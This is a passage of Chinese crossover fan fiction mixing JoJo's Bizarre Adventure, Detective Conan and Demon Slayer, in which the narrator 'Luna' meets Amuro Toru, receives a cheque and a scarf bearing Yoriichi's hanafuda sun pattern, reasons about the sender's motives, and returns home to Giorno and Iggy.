一想到这,看着托比欧天真无邪的笑脸,我的良心稍微又痛了一下。
“但是没有新人这样子工作堆到我们身上也不好,托比欧你也不喜欢一直工作吧?”
粉发雀斑少年深深看了我一眼,咬了咬嘴唇,“如果是Boss的命令了话.....”
就是因为你这个态度我才会担心passione要完蛋,总感觉我哪天说要直接当总统托比欧也会直接揭竿而起响应我的。
话说其他有规模的组织是怎么招到合适的人选的?以往呆过的正经组织寿命都不太长,不正经的组织看起来权力架构都很有问题。看起来还算严密的组织一被我接受就感觉人员不足。
这算个什么事啊。
我的手惯性地摸了摸托比欧的脑袋,听见他满意的咕噜声。
我的肉芽不会把他的认知修改成狗了吧,果然还是找伊奇老大看一下他吧。说起来伊奇老大现在还觉得我是狗吗?
我陷入了奇怪的想法里,脑子中冒出了伊奇老大改认托比欧为小弟的场景。
不行,总感觉有点不爽啊。
我停下了摸托比欧的头的手,正想说点什么,手机响起了收到信息的铃声。
幽幽的屏幕荧光照在我脸上,我看着简讯的信息,突然思路打开。
一鱼三吃。
这不有一个现成的跨国的邪恶组织让我学习吗?
*
“哒。”
在被我惦念的组织里,一个男人在手机上敲下了发送键。
手机屏幕的荧光照亮了他额头上的缝合线。
133.丝巾
这个以“酒”为内部人员代号的跨国的犯罪团伙为什么能走到今天长久不衰?
是钞能力!
我看了一眼桌上的红酒,想起了它的价格,努力使表情平和。
这就是对方组织招待的款项吗?他们年底报账真的没问题吗?还是说这算在他们的差旅费里面?
呼。这点passione还暂时学不来。
几天的时间里,应该够这位八面玲珑的邻居向他的上级汇报,来给我传递态度了。
敏锐地察觉到了我的视线,对面穿着黑色西服的金发男人站了起身,十分体贴地替我斟酒。
“看来露娜小姐很喜欢品酒啊。”安室透笑盈盈地将斟满酒的波尔多杯轻放到我面前,看起来饶有兴致的样子。
私密的包间内,没有其他人。
金发黑皮的男人一只手撑着脸,半是开玩笑的样子,“小心酒里有毒哦。”
我抬眼看了一眼对方看起来过于完美的微笑,没有拒绝对方的好意,拿起了酒杯,欣赏酒体。
便宜的酒,贵的酒,其实其中差别我看不出来,除非对方把自己的身价标榜在一旁。
其实味道也是这样,特别的贵的名酒如果不是品鉴大师,哪能分出其中什么三六九等。名酒的身价需要包装,需要一个完美的宣传与故事。
我看向我选定的宣传窗口,微微一笑,将杯中酒一饮而尽。
也许是这样牛嚼牡丹的样子在这个场合格格不入,安室透的笑都僵住了。
“露娜小姐?”
“嗯?那就再来一杯?”我毫不客气将波尔多杯递了回去,努力咂摸出嘴里的味道。
唔,没什么特别的感觉,但是确实有一种金钱的味道啊。
对面的金发男人挑了挑眉,又顺势给我倒了一杯,“你是真不怕我下毒吗,露娜小姐?”
“在这么贵的酒里下毒未免有些浪费吧。”我这回选择了摇晃一下酒杯,啜了一口。
唔,味道好像也没有变化。
“而且,安室透先生你也会一起喝的吧?”我将酒杯举起,对着对面的人颔首,“不来为我们的合作干一杯吗?”
对面的男人又挂上了虚伪的假笑,对于这套暗语显然很是熟悉。
女人给的筹码令人满意,那些肮脏的产业在有心人眼里都是石油田,只要沾染一点就能获利无数。
不过,在接管和开采前,还得勘测是否真的有石油,如果没有,那也就没有一点介入的价值了。
就这样,开采石油的勘测方与名酒的宣传部相聚在一起,各自心怀鬼胎地讲述着自己的故事。
“那么,干杯。”
酒饱饭足,金发男人从自己的兜里拿出了一个塑封好的相片,轻轻放在了桌上。
对面的黑发女人挺直了身子,看了一眼,又向他投去不解的眼神。
难道不是她做的吗?
“说起来,之前意.大.利的寻人启事上这个家伙出现了很久,露娜小姐有关注吗?”
黑发女人泰然自若,“大街小巷的报纸里都有他,不看见很难吧?”
“也是。不过说起来,他的身份好像很神秘的样子,大街小巷什么传闻都有。”金发黑皮的男人笑容加深,语气里带着些暧昧的笑,“也有人说他是passione的人呢?不知道露娜小姐有没有见过呢?”
既然双方的合作都已经展开了,显然需要互相交付一些诚意。
黑发女人摸了摸下巴,又露出那种不解的眼神,“难道你就是那个重金求爱的冤大头?”
不想回答拿着个搪塞人攻击力确实很强。
安室透显然听过这个街头最火热的版本,嘴角抽了抽,“哈,露娜小姐觉得他是被求爱的那一方吗?”
黑发女人微微瞪大了双眼,仿佛有天雷劈过。显然互相伤害没有什么好结果,“现在我可没在passione见过他。”
卧底多年的安室透自然很会察言观色,他抿了抿嘴。
“现在没在passione见过”是句真话。
“现在”很有来头,可能暗指以前见过。说不定那个粉发渔网衣男之前就是passione的成员,但由于被作为由头引得别人大肆关注了passione从而被处决或者雪藏了吗?
这么说,passione原来是那种格外严密的组织吗?怪不得组织里尝试往passione中塞人都行不通。
就算以往有点动摇的passione中的干部,最近一段时间就跟洗心革面了一样,钱是照收的,情报是不吐露的。简直就是流氓做派。
虽然对方确实算是流氓就是了。
想起近日进展不顺的工作,安室透又将视线放在了对面的黑发女人身上。
对方绝对不是什么好人。
初次见面时,他就觉察到了对方身上有一种不容忽视的邪恶感。而现在,对方主动展示自己手中经手的肮脏产业,以此来换取一个换船的机会,也足见对方不简单。
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可是,就是这样的家伙,才愿意吐露情报,才能换取他在组织向上爬的资源。在偌大一个突然像是铁板一块的passione里,她就像唯一的漏洞。
可能是陷阱,也可能是机遇。
安室透在心底深深吸了一口气,面上露出了完美的微笑,“那么为表合作的诚意,这是某位大人给露娜小姐您的见面礼。”
男人将一个黑色的盒子打开,里面是一张末尾有8个零的支票和一条丝巾。
黑发女人露出了今晚最真心实意的笑容,她拿起支票,而后眼睛停留在了零的后面。
她将盒子中的丝巾翻转开来。纯白的丝巾背面,是日轮的花样。
是有什么问题吗?
安室透看向那里,没有察觉任何异样。
黑发女人顿了顿,抬起了头,“请问是哪位大人送的礼物呢?”
她神色平静,安室透却觉着周围的温度降低了不少。
是支票的问题?不,应该是那个丝巾出了什么问题。
支票+丝巾的组合确实有些奇怪。尤其是这个丝巾还是特地从霓虹邮寄过来的。
收买人只需要金钱就够了。这个丝巾只会画蛇添足。
但是这个盒子肯定全程没有其他人打开,所以应该寄过来就是那位大人的意思。
黑发女人的依旧看着安室透,目光却缓缓移到了他的脖子上,似乎在思考着什么。
一种直觉击中了安室透。
脑中原先设想的“这要等你进入组织才能知道”“这位大人就是那位大人”之类的含糊套话消失了。
“这位大人只有少数组织里的人知道ta的样貌,而我没能有幸知道。”安室透努力使自己挤出一个微笑,却发现尤其困难。
黑发女人收回了视线,好像十分善解人意地点了点头,“那看来还是得等我和组织的关系足够亲昵才行?”
她说着,收起了那张支票,又拿起了那条丝巾,站起身,对着安室透笑了一下,“那就麻烦告诉那位大人,ta的礼物我很喜欢,我-非-常期待和ta的会面。”
说完,她没有任何留恋,转身走了。
看着女人远去的背影,安室透下意识松了口气,才察觉自己不知何时已是满身冷汗了。
*
还真是收到了意料之外的礼物。
我将丝巾重新拿出来,看着这个眼熟的日轮图案。
曾几何时,这个图案是出现在我熟悉的小萝卜头的耳饰上的。
134.推测
那个花札,我是不会认错的。
那个样子,和缘一的耳饰一样。
夜风带着海水的腥气拂过我,过去的回忆像开闸的水,不受控制地奔涌而出。
活泼可爱的乐观少女歌、亦步亦趋跟着少女的天赋异禀的缘一、勤奋自律目标是最强武士的严胜、身体越来越好的织子阿姨、感情深厚的妓夫兄妹、一板一眼但是善良的樱……
熟悉的面孔从我回忆里不受控制地跳出,我感觉心中的某块地方变得酸涩无比。
在我离开后……又发生了什么呢?
大家过得怎么样呢……
我闭上了眼睛,深深地吸了一口气。
看来刚刚那瓶究或许真是好酒,从没喝醉过的我,现在也开始觉得酒劲上来了。
一股热流从喉咙涌上眼眶,我感觉双眼像是被浸泡在温水中。
三百九十年。
三百九十年。
三百九十年。
我紧紧将嘴抿着。没有任何声音泄露。
30秒之后,我睁开眼。
现在得处理手头的事情了。
夜风不凉,我插着口袋,向前走去。
缘一的耳环……不,也可能只是与耳环同款样式的花札夹杂在礼物中出现,绝不会是意外。
按照安室透的表情来看,这个并不是什么大众样式。
那么对方就是有意将这个花札呈现在我面前。
这并不会什么好事,我必须一一理清脑中的问题。
第一,对于这个花札,对方是否是将它作为“继国缘一的耳饰”这样类似的信物的象征交给我的?
我步履不停地绕过一个又一个巷子,晃走了试图跟踪的安室透、揍了几个流氓,往着新住所的方向迈进。
比起花札可能有的其他内涵,我更倾向与对方知道我认识继国缘一或者其后代。曾经歌和我说过,这个耳饰是缘一的母亲给不受宠的小儿子的护身符,再加上缘一进入城里也没有人对耳饰中的纹样提出异议。那么,大概率这个纹样与“继国家”这种家族无关,可以看做是缘一极其后代的私人信物。
第二,对方与继国家的联系是什么?
作为类似护身符的东西,肯定是不可能随意转交给外人的。除了强取豪夺或者诱骗、捡到等方式,对方就必须是....继国家的血脉又或者继国家信赖的人。
可能是继国家血脉又或者是继国家信赖的人,现在正在跨国的犯罪组织里被尊称为“那位大人”,积极主动地找到了我。
也可能是对方强行夺走了这个信物,并认为它在我这里有价值。
我顿住了脚步,看着已到尽头的墙,纵身一跃翻了过去。
第三,对方怎么找到我的?
姓名这条pass。我目前从未告诉过别人我的名字,乔斯达先生他们也只叫我的姓氏,至于其他人,也只是用“露娜”或者“无惨”之类的假名称呼我。
这样想来就可能是外貌了。在作为“露娜”的时间里,出于联络乔瑟夫先生他们的考量,我并没有特意伪装自己的样貌。
当然,也许也有什么特殊的因素,但这点我暂时没有思路。
第四,也就是最关键的,对方这么做的目的是什么?
一个知道我在平安时期与继国家联系的人,特意将缘一及其后代的私人信物给我,难道是什么友善的信号?
我回想起被分解的花札,笑不出来。
如果是信物,绝对不会这么轻易地去损坏ta。
比起友善的信号,更像是一种直言的挑衅。ta知道我的过去,但我对ta一无所知。
我深深呼出了一口气,视线落在了不远处。
300米外,就是我的新住宅,那是一栋装修不错的三层别墅。这个粉色发霉章鱼过去的不动产矗立在幽静的别墅区,精装但是空落落的。
明明完全不同,但在见到这栋房子的一瞬间,恍惚间我以为自己又回到了那个小小的山村,会有一个小萝卜头蹦跳地冲过来抱住我,那里有我搭建的鱼池,有一头很有个性的倔驴。
但我知道这只是错觉,是一种不切实际的臆想。
现在,我与乔鲁诺和伊奇老大一起住在那里,那里有一片花圃,我和乔鲁诺各分一块。
我会撒一下感兴趣的种子,让乔鲁诺用【黄金体验】帮我无痛成为优秀园丁。乔鲁诺的小小试验田会种植着各色漂亮的花卉,不论出门还是加班晚归,我总能在院中看到盛开的花朵。伊奇老大会在别墅的各个角落中刷新,这个月我总是能看见伊奇老大“当人这么累,要不要做回狗”的关切眼神。
虽然没有什么搬家的环节,但是乔瑟夫先生他们还是送来了一些乔迁的礼物,这些东西摆放在大大的别墅里,显得多了一丝活人的气息。
passione的一切也在步入正轨,虽然过程可能艰难,但我的目标并不是没有实现的希望。
而就在我拥有希望的时刻,竟然又有人要试图去摧毁它吗?
难言的迟到的怒火在焚烧,我在感受这种少见的感觉。或许是酒劲又上来了,我感觉心头的愤怒并没有停歇的迹象,它在试图焚烧一切。
因为穿越的无力,对于迷雾的茫然,突然别离的痛苦像是阵痛,又极快地转化为了愤怒。
现在,还不能回去。我还不够冷静,回去会露馅。
冷静。
再仔细想想,对方的不会无故进行挑衅,ta肯定在图谋着更多。只有冷静才能处理好一切。
我看着远处的别墅,深深吸了一口气,让自己跳上了附近无人居住的别墅的屋顶,直直躺了下来。
将愤怒留在这里就好,将那些隐秘的不体面的情绪留在这里就好。
我再次闭上了眼睛,这使得我的其他感官更加地敏锐。
我听见了一阵很轻的脚步声向我这里走来。
如果是往这里走了话,应该是熟识的人。
哈,这也太巧了。不,倒不如说,对方眼睛也太好了一点吧。
我转过身,背对着脚步声的方向,蹲下身,调整了一下表情。
像平常一样就好。
倒数了三秒钟,觉得自己表情管理到达及格线的我自信回头,却发现已经没有人影了。
人呢?
我环顾了四周,却没有找到其他人。
既然如此,那就再静静躺一会吧,只要一会就好。
*
“第八次训练,开始!”金发的小男孩双手握拳,给自己打气。
小小的黄色人形替身向着悠闲坐在沙发上的波士顿犬冲去,猛地一挥拳。
砂石汇聚成的替身立马从高处滑翔而下,一把捞住跳起来的波士顿犬,滑翔离开,迫降到了远处的地毯上。
黄色的人型替身扑了一个空,半摔倒在沙发上。
波士顿犬的尊老爱幼精神时有时无,再与这个五岁的人类幼崽熟悉了起来之后,更是肆无忌惮地wer wer笑出声来,甚至在地毯上用后脚挠挠耳朵。
不过很快它就wer不出来了,因为柔软的羊毛地毯的毛发不断伸长,化作了无数藤蔓将放松下来的波士顿犬缠住。
“木大木大。”乔鲁诺看着伊奇不敢置信的样子,得意地向它伸出手,“伊奇!这回我终于赢了!”
波士顿犬滴溜转了一下眼睛,正想嗷点什么,却突然耳朵竖了起来。
“嗷呜!”伊奇猛地用力,扯开了缠住自己的藤蔓,向门口奔去。
这个人类幼崽虽然很聪明,但是精神力还在成长中,这点藤蔓根本不可能克制住伊奇大人!所以这一回训练,伊奇大人根本没输!
伊奇大人才不会被自己小弟看到被困住的狼狈样子。
波士顿犬听到后
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面的脚步声,更是加快了脚步,直接往前蹦去。
门开了。黑发女人出现在门口。
伊奇熟练地跳了上去。
“啊,伊奇老大今天也很精神呢!”黑发女人和往常一样,给足了情绪价值。
她的目光向下,看向了冲过来的金发少年。
“姐姐!欢迎回来!”因为将羊毛地毯恢复成原状而晚了一步的金发少年并不气馁,看了一眼站在女人肩头得意洋洋的伊奇,伸手环住了女人的腿。
听着回家的问候,女人恍惚了一瞬间,但是很快地掩饰来异常。
“嗯,我回来了,乔鲁诺。”黑发女人熟练地摸了摸少年金色的发顶。
一个月的时间,她已经适应了少年异变的发色,也不再会产生强大的基因的不妙联想。
什么乔鲁诺像dio,就不能是dio像乔鲁诺吗!
这个倒反天罡的想法愉悦了黑发女人,她的嘴角露出了浅浅的微笑。
一切都很正常。
黑发女人从口袋里掏出早就准备好的口香糖,递给伊奇老大。
伊奇鼻子凑上前去,深深嗅了嗅,微微瞪大了双眼。
“这是我们手下的公司新改进的口味,伊奇老大你觉得怎么样?”女人看着从肩头上跳下来的波士顿犬,依旧充满笑意。
咖啡味口香糖的包装已经被拆开,伊奇已将鼻子深深地埋进了了里面,在沉寂了1秒后,猛地将口香糖往嘴里一塞,嚼嚼了十下后,就迅速吞咽了下去。
“汪!”
“这么说改进得很符合伊奇老大的心意啊!”黑发女人煞有介事地点了点头。
她的视线从地上有些凌乱的地毯上掠过,又看向了乔鲁诺。
“乔鲁诺,今天学校里怎么样?”
金发的少年眼睛一亮,紧紧贴着黑发女人,向她讲述新学校的所见所闻。
在乔鲁诺重返意.大.利后,出于名义上学籍的考虑,他就转移到了一所新的学校。这所学校里没有那些朝着他吐唾沫,给他起侮辱绰号的小孩,也没有看人下菜碟的教师。
乔鲁诺凭借他自身的个性,很快就融入了群体中。他已经准备好给布加拉提哥哥写信,向他展示这个学校的样子了。
乔鲁诺挑着自己觉得有趣的部分讲了讲,听着女人温柔的回应,更觉得那些事情变得更加有意义了起来。
“而且,今天也没有人来偷偷看我。”
金发的少年说到这,郑重地点了点头。
“是嘛,那太好了,看来是我们咖啡味口香糖的竞争对手放弃了从乔鲁诺这里获取咖啡味口香糖的秘方呢!”黑发女人再次轻柔地摸了摸乔鲁诺的脑袋。
从一个月前,乔鲁诺就知道姐姐多了份新工作,负责咖啡味口香糖的生产。有一些穿着黑衣服的敌对厂商因为眼馋咖啡味口香糖的秘方,就会试图找姐姐身边人获取情报。
所以,一旦发觉有人试图秘密看着自己,乔鲁诺就要及时说出来。不管是告知姐姐还是伊奇老大又或者是最近常常出现的托比欧哥哥,都是可以的。
是啊。
都是可以的。
再确认乔鲁诺睡着了后,我坐在书桌前,思考着去什么时候去霓虹。
里苏特加入passione后,我就让他负责了调查谁究竟在寻找“dio的孩子”。结果不出所料,是与安室透同一组织的人。
但是这个任务似乎不由安室透负责,即使同在意大利,他也根本不知情。这说明这个任务在组织内的机密程度应该很高。
这么说,不管是花札还是调查“dio”的孩子,好像都有一股力量催促着我快点前往那个组织。
如果是这样,不好好准备一下再过去也太对不起对方的盛情邀请约了。
我真这么想着,却看见手机荧幕一亮,又是一条简讯传来。
诶?